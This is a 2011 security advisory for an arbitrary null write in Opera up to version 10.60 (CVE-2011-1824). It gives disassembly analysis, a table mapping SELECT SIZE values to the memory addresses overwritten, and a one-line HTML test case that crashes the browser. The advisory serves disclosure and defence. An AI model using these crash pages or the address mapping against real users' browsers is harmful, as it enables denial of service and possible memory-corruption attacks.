------------------------------------------------------------------------
---
- -
* Opera : SELECT SIZE Arbitrary null write *
- -
------------------------------------------------------------------------
---
--[ Vulnerability Summary:
Date Published: 03/05/2011
Last Update: 03/05/2011
Advisory ID: TSSA-2011-02
CERT Name: CVE-2011-1824
Title: Opera : SELECT SIZE Arbitrary null write
Remotely Exploitable: Yes
Locally Exploitable: No
Impact: Remote DoS, potentially arbitrary code execution
Advisory URL: http://www.toucan-system.com/advisories/tssa-2011-02.txt
--[ Introduction:
Opera is a web browser having a market share of about 2,74%
following http://en.wikipedia.org/wiki/Usage_share_of_web_browsers .
Following the vendor, it runs on "Mac, PC and Linux computers, mobile
phones and PDAs, game consoles, and other devices like the
Nintendo Wii, DS, Sony Mylo, and more."
--[ Synopsis:
Opera up to and including version 10.60 is vulnerable to an arbitrary
memory write of 0x00000000, 4byte aligned, when processing an html
page featuring a SELECT tag with a very large SIZE parameter.
- --[ Vulnerabilities overview:
When fed with an html page featuring a very large SIZE parameter
in the SELECT tag, Opera deterministically segfaults on the
following instruction:
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------[regs]
eax:00000000 ebx:786C7FF8 ecx:0000001D edx:00000008 eflags:00010206
esi:5E063FF8 edi:00368084 esp:BFE5672C ebp:BFE56738 eip:080BACEB
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s z a P c
[0073:080BACEB]---------------------------------------------------[code]
--[ Instruction:
=> 0x80baceb: mov DWORD PTR [ebx+edx*1],eax
This instruction is an invalid write to memory.
After carefull analysis, it appears that eax can only be null,
which means only 0x00000000 can be written in memory. ebx is
also always a multiple of 4, meaning that the invalid write
is 4 byte aligned.
This instruction actually happens in a routine which zeroes memory
for the select tag:
0x80bacb0: push ebp
0x80bacb1: mov ebp,esp
0x80bacb3: push edi
0x80bacb4: push esi
0x80bacb5: push ebx
0x80bacb6: mov edx,DWORD PTR [ebp+0x8] ; edx is a
function argument
0x80bacb9: mov esi,DWORD PTR [ebp+0xc] ; same for esi
0x80bacbc: mov edi,DWORD PTR [ebp+0x10]
0x80bacbf: mov ecx,DWORD PTR [edx+0x8]
0x80bacc2: test ecx,ecx
0x80bacc4: je 0x80bad00
0x80bacc6: cmp DWORD PTR [edx+0x1c],edi
0x80bacc9: jle 0x80bad00
0x80baccb: mov ecx,DWORD PTR [edx+0x18]
0x80bacce: mov eax,DWORD PTR [edx+0x10]
0x80bacd1: mov ebx,DWORD PTR [edx+0x8] ; ebx is
computed from edx (f argument, see before)
0x80bacd4: test ecx,ecx
0x80bacd6: je 0x80bacf6 ; ecx null ? then return
0x80bacd8: shl eax,0x2 ; shift left of 2 bits
on eax
0x80bacdb: xor edx,edx ; edx=0 in first iteration
0x80bacdd: imul eax,edi
copyloop:
0x80bace0: add ebx,eax ; add eax to ebx
0x80bace2: lea esi,[esi+0x0]
0x80bace8: mov eax,DWORD PTR [esi+edx*1] ; use esi as
an index and read 32b into eax
=> 0x80baceb: mov DWORD PTR [ebx+edx*1],eax ; write to memory
pointed to by ebc+edx the content of eax
0x80bacee: add edx,0x4
0x80bacf1: sub ecx,0x1
0x80bacf4: jne 0x80bace8 ; if ecx != 0, goto copyloop;
0x80bacf6: xor eax,eax
0x80bacf8: pop ebx
0x80bacf9: pop esi
0x80bacfa: pop edi
0x80bacfb: pop ebp
0x80bacfc: ret
The register ebx is threfor computed given the formula below:
ebx=[[ebp+0x8]+0x8]+([[ebp+0x8]+0x10]<<0x2)*[ebp+0x10]
A few experiments allow to simply verify the extent of
memory that can be overwritten:
<HTML><SELECT SIZE="00900921041">
ebx:93AF7F8C
<HTML><SELECT SIZE="00900561724">
ebx:4403BFC0
<HTML><SELECT SIZE="00900756136">
ebx:6F1EFFD8
<HTML><SELECT SIZE="00900572153">
ebx:46539FE0
<HTML><SELECT SIZE="00900923051">
ebx:94219FD0
<HTML><SELECT SIZE="00900921169">
ebx:93B6BF9C
<HTML><SELECT SIZE="00900922165">
ebx:93EF3FD0
<HTML><SELECT SIZE="00900602573">
ebx:4D125F94
<HTML><SELECT SIZE="00900809223">
ebx:7AE45F88
<HTML><SELECT SIZE="00900923006">
ebx:941EFFA8
<HTML><SELECT SIZE="00900971567">
ebx:9EE37FF8
<HTML><SELECT SIZE="00900579223">
ebx:47E4FF98
<HTML><SELECT SIZE="00900921760">
ebx:93D85FC4
<HTML><SELECT SIZE="00900929223">
ebx:957FDFA0
<HTML><SELECT SIZE="00900825726">
ebx:7E8D1FA8
<HTML><SELECT SIZE="00900927668">
ebx:9527A000
<HTML><SELECT SIZE="00900922184">
ebx:93F05FAC
<HTML><SELECT SIZE="00900632570">
ebx:53B91FDC
<HTML><SELECT SIZE="00900921961">
ebx:93E3BFCC
<HTML><SELECT SIZE="00900922873">
ebx:94177FA0
<HTML><SELECT SIZE="00900929223">
ebx:957FDFA0
<HTML><SELECT SIZE="00900922268">
ebx:93F51F90
<HTML><SELECT SIZE="00900921786">
ebx:93D9BF98
<HTML><SELECT SIZE="00900923999">
ebx:94575FE0
<HTML><SELECT SIZE="00900572139">
ebx:4652DFF8
<HTML><SELECT SIZE="00900929223">
ebx:957FDFA0
<HTML><SELECT SIZE="00900772722">
ebx:72CC7FDC
<HTML><SELECT SIZE="00900877306">
ebx:89FCFFDC
<HTML><SELECT SIZE="00900177403">
ebx:94FA9FD0
<HTML><SELECT SIZE="00900126792">
ebx:94063FD8
<HTML><SELECT SIZE="00900922735">
ebx:940F9FA4
<HTML><SELECT SIZE="00900169223">
ebx:93E60000
<HTML><SELECT SIZE="00900793113">
ebx:77520000
<HTML><SELECT SIZE="00900851961">
ebx:845E5FFC
<HTML><SELECT SIZE="00900713397">
ebx:65A51FDC
<HTML><SELECT SIZE="00900273276">
ebx:945D3FA0
<HTML><SELECT SIZE="00900251857">
ebx:957FDFA0
<HTML><SELECT SIZE="00900568075">
ebx:456C3FBC
<HTML><SELECT SIZE="00900831482">
ebx:7FD3DFFC
<HTML><SELECT SIZE="00700102798">
ebx:A466BFE0
<HTML><SELECT SIZE="00700206518">
ebx:BB663FB4
<HTML><SELECT SIZE="00700191247">
ebx:B8035F90
<HTML><SELECT SIZE="00300695676">
ebx:B425FFB8
<HTML><SELECT SIZE="00300389223">
ebx:7032DFC0
<HTML><SELECT SIZE="00300302667">
ebx:5D01BFB4
<HTML><SELECT SIZE="00300219223">
ebx:4A813FDC
<HTML><SELECT SIZE="00300412279">
ebx:754F9FE0
<HTML><SELECT SIZE="00300239223">
ebx:4EF07FE0
<HTML><SELECT SIZE="00300352729">
ebx:681B5F8C
<HTML><SELECT SIZE="00300301905">
ebx:5CD67FC8
<HTML><SELECT SIZE="00300211808">
ebx:48DC5FAC
--[ Exploitability considerations:
Exploitation of arbitrary null writes in userland, as opposed to
kernel land where exploitation is immediate (by zeroing the
task_struct->cred->euid), have not been publicly systematized.
In spite of our best efforts to attack (zero) variables using CSS,
javascript or to attack the error handlers, we could not achieve
remote execution.
That being said, remotely writting to the memory of a process is
definitly a high impact vulnerability, and remote code execution
can not be excluded.
--[ Test case:
The following trivial test case triggers the vulnerability:
<--!
Opera <= 10.60 Arbitrary null write
Jonathan Brossard // jonathan.brossard (at) toucan-system (dot) com [email concealed]
Published on 18/04/2011
-->
<HTML><SELECT SIZE="67202666">
--[ Mitigation:
Opera users are encouraged to upgrade their web browser to the
latest version of the software (11.10 at the time of writing).
--[ Vulnerable versions:
Vulnerable : Opera version <= 10.60
Non vulnerable : Opera version >= 10.61
--[ Disclosure timeline:
* 02/08/2010: Toucan System send the Opera Team
a full vulnerability report including test cases.
* 03/08/2010: The Opera Team acknowledge the bug.
Vendor assigns it tracker DSK-309026.
Vendor identifies the problem as coming from
the VEGAOpBitmap::AddLine function.
Vendor silently patches the bug in version 10.61.
* 05/01/2011: Toucan system reports the bug to the
CERT.
* 19/01/2011: The CERT grants the issue tracker
VU#778396.
* 21/04/2011: The CERT grants the issue CVE-2011-1824.
* 3/05/2011: Public disclosure.
--[ Credits:
This vulnerabilitie was discovered by Jonathan Brossard from
Toucan System.
--[ About Toucan System:
Toucan System is a French computer security company providing
cutting edge research and security consulting to Fortune 500
as well as smaller companies globally, thanks to a wide range
of expertise ranging from Reverse Engineering
and binary analysis to cryptography and Risk Management.